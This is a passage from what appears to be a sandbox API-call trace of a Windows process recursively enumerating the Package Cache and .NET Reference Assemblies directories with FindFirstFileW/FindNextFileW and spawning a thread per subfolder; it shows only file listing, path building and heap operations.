(in: hFindFile=0x9429f0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93efac0, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6601040, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0145.092] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0145.092] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0145.093] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97bee8 [0145.093] wcscpy (in: _Dest=0x97bee8, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0145.093] wcscat (in: _Dest=0x97bee8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0145.093] wcscat (in: _Dest=0x97bee8, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0145.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97bee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe50 [0145.937] FindNextFileW (in: hFindFile=0x9429f0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0145.937] wcscmp (_String1="VC_redist.x86.exe", _String2=".") returned 1 [0145.937] wcscmp (_String1="VC_redist.x86.exe", _String2="..") returned 1 [0145.937] FindNextFileW (in: hFindFile=0x9429f0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0145.937] FindClose (in: hFindFile=0x9429f0 | out: hFindFile=0x9429f0) returned 1 [0145.938] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911d58) returned 1 [0145.938] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acee8) returned 1 [0145.938] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aad08) returned 1 Thread: id = 2121 os_tid = 0xdac [0143.172] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4ab0 [0143.172] wcscpy (in: _Dest=0x8f4ab0, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0143.172] wcscat (in: _Dest=0x8f4ab0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0143.172] wcscat (in: _Dest=0x8f4ab0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*" [0143.172] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911620 [0143.172] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942a30 [0145.091] wcscmp (_String1=".", _String2=".") returned 0 [0145.091] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.092] wcscmp (_String1="..", _String2=".") returned 1 [0145.092] wcscmp (_String1="..", _String2="..") returned 0 [0145.092] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.092] wcscmp (_String1="packages", _String2=".") returned 1 [0145.092] wcscmp (_String1="packages", _String2="..") returned 1 [0145.092] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c6440 [0145.092] wcscpy (in: _Dest=0xd4c6440, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0145.092] wcscat (in: _Dest=0xd4c6440, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0145.092] wcscat (in: _Dest=0xd4c6440, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0145.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c6440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058 [0145.935] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0145.935] FindClose (in: hFindFile=0x942a30 | out: hFindFile=0x942a30) returned 1 [0145.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911620) returned 1 [0145.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4ab0) returned 1 [0145.936] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b6a8) returned 1 Thread: id = 2122 os_tid = 0xdb0 [0143.172] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7ef8 [0143.172] wcscpy (in: _Dest=0x8e7ef8, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0143.172] wcscat (in: _Dest=0x8e7ef8, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0143.172] wcscat (in: _Dest=0x8e7ef8, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*" [0143.172] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90f940 [0143.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa3d23260, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3d23260, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da050 [0143.538] wcscmp (_String1=".", _String2=".") returned 0 [0143.538] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa3d23260, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3d23260, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.538] wcscmp (_String1="..", _String2=".") returned 1 [0143.538] wcscmp (_String1="..", _String2="..") returned 0 [0143.538] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0143.538] wcscmp (_String1="PresentationBuildTasks.dll", _String2=".") returned 1 [0143.538] wcscmp (_String1="PresentationBuildTasks.dll", _String2="..") returned 1 [0143.538] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99757ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0143.538] wcscmp (_String1="PresentationCore.dll", _String2=".") returned 1 [0143.538] wcscmp (_String1="PresentationCore.dll", _String2="..") returned 1 [0143.538] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x993ade39, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x993ade39, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b475983, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0143.538] wcscmp (_String1="PresentationFramework.Aero.dll", _String2=".") returned 1 [0143.538] wcscmp (_String1="PresentationFramework.Aero.dll", _String2="..") returned 1 [0143.538] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994463ad, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x994463ad, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b72321f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0143.538] wcscmp (_String1="PresentationFramework.Classic.dll", _String2=".") returned 1 [0143.538] wcscmp (_String1="PresentationFramework.Classic.dll", _String2="..") returned 1 [0143.538] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0143.539] wcscmp (_String1="PresentationFramework.dll", _String2=".") returned 1 [0143.539] wcscmp (_String1="PresentationFramework.dll", _String2="..") returned 1 [0143.539] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e17da7, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99e17da7, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b807a53, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0143.539] wcscmp (_String1="PresentationFramework.Luna.dll", _String2=".") returned 1 [0143.539] wcscmp (_String1="PresentationFramework.Luna.dll", _String2="..") returned 1 [0143.539] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99efc5d5, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99efc5d5, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cc8f6ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0143.539] wcscmp (_String1="PresentationFramework.Royale.dll", _String2=".") returned 1 [0143.539] wcscmp (_String1="PresentationFramework.Royale.dll", _String2="..") returned 1 [0143.539] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa973a308, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa973a308, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9760469, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0143.539] wcscmp (_String1="ReachFramework.dll", _String2=".") returned 1 [0143.539] wcscmp (_String1="ReachFramework.dll", _String2="..") returned 1 [0143.539] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa35ff060, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa35ff060, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0143.539] wcscmp (_String1="RedistList", _String2=".") returned 1 [0143.539] wcscmp (_String1="RedistList", _String2="..") returned 1 [0143.539] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9ad208 [0143.539] wcscpy (in: _Dest=0x9ad208, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0143.539] wcscat (in: _Dest=0x9ad208, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0143.539] wcscat (in: _Dest=0x9ad208, _Source="RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0145.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9ad208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c [0145.393] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0145.393] wcscmp (_String1="System.IdentityModel.dll", _String2=".") returned 1 [0145.393] wcscmp (_String1="System.IdentityModel.dll", _String2="..") returned 1 [0145.393] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaae31b18, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaae31b18, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53cd8e4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0145.394] wcscmp (_String1="System.IdentityModel.Selectors.dll", _String2=".") returned 1 [0145.394] wcscmp (_String1="System.IdentityModel.Selectors.dll", _String2="..") returned 1 [0145.394] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaef01e9, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaaef01e9, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53d25107, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0145.394] wcscmp (_String1="System.IO.Log.dll", _String2=".") returned 1 [0145.394] wcscmp (_String1="System.IO.Log.dll", _String2="..") returned 1 [0145.394] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98b70cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa98b70cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0145.394] wcscmp (_String1="System.Printing.dll", _String2=".") returned 1 [0145.394] wcscmp (_String1="System.Printing.dll", _String2="..") returned 1 [0145.394] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9ce1753, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9ce1753, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d078b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0145.394] wcscmp (_String1="System.Runtime.Serialization.dll", _String2=".") returned 1 [0145.394] wcscmp (_String1="System.Runtime.Serialization.dll", _String2="..") returned 1 [0145.394] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9bfcf11, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9bfcf11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9c6f332, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x515000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0145.394] wcscmp (_String1="System.ServiceModel.dll", _String2=".") returned 1 [0145.394] wcscmp (_String1="System.ServiceModel.dll", _String2="..") returned 1 [0145.394] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a53bf17, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a53bf17, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0145.394] wcscmp (_String1="System.Speech.dll", _String2=".") returned 1 [0145.394] wcscmp (_String1="System.Speech.dll", _String2="..") returned 1 [0145.394] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9655ac7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9655ac7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa967bc27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0145.394] wcscmp (_String1="System.Workflow.Activities.dll", _String2=".") returned 1 [0145.394] wcscmp (_String1="System.Workflow.Activities.dll", _String2="..") returned 1 [0145.394] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9609806, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9609806, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa962f966, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x173000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0145.394] wcscmp (_String1="System.Workflow.ComponentModel.dll", _String2=".") returned 1 [0145.394] wcscmp (_String1="System.Workflow.ComponentModel.dll", _String2="..") returned 1 [0145.394] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96a1d87, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96a1d87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96c7ee8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0145.394] wcscmp (_String1="System.Workflow.Runtime.dll", _String2=".") returned 1 [0145.394] wcscmp (_String1="System.Workflow.Runtime.dll", _String2="..") returned 1 [0145.394] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a72b0d0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a72b0d0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cfaf3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0145.394] wcscmp (_String1="UIAutomationClient.dll", _String2=".") returned 1 [0145.394] wcscmp (_String1="UIAutomationClient.dll", _String2="..") returned 1 [0145.395] FindNextFileW (in: hFindFile=0x8da050, lpFindFileData=0x90f940 | out: lpFindFileData=0x90f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8f412c, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a8f412c, ftLastAccessTime.dwHighDateTime=0x1ca041e, 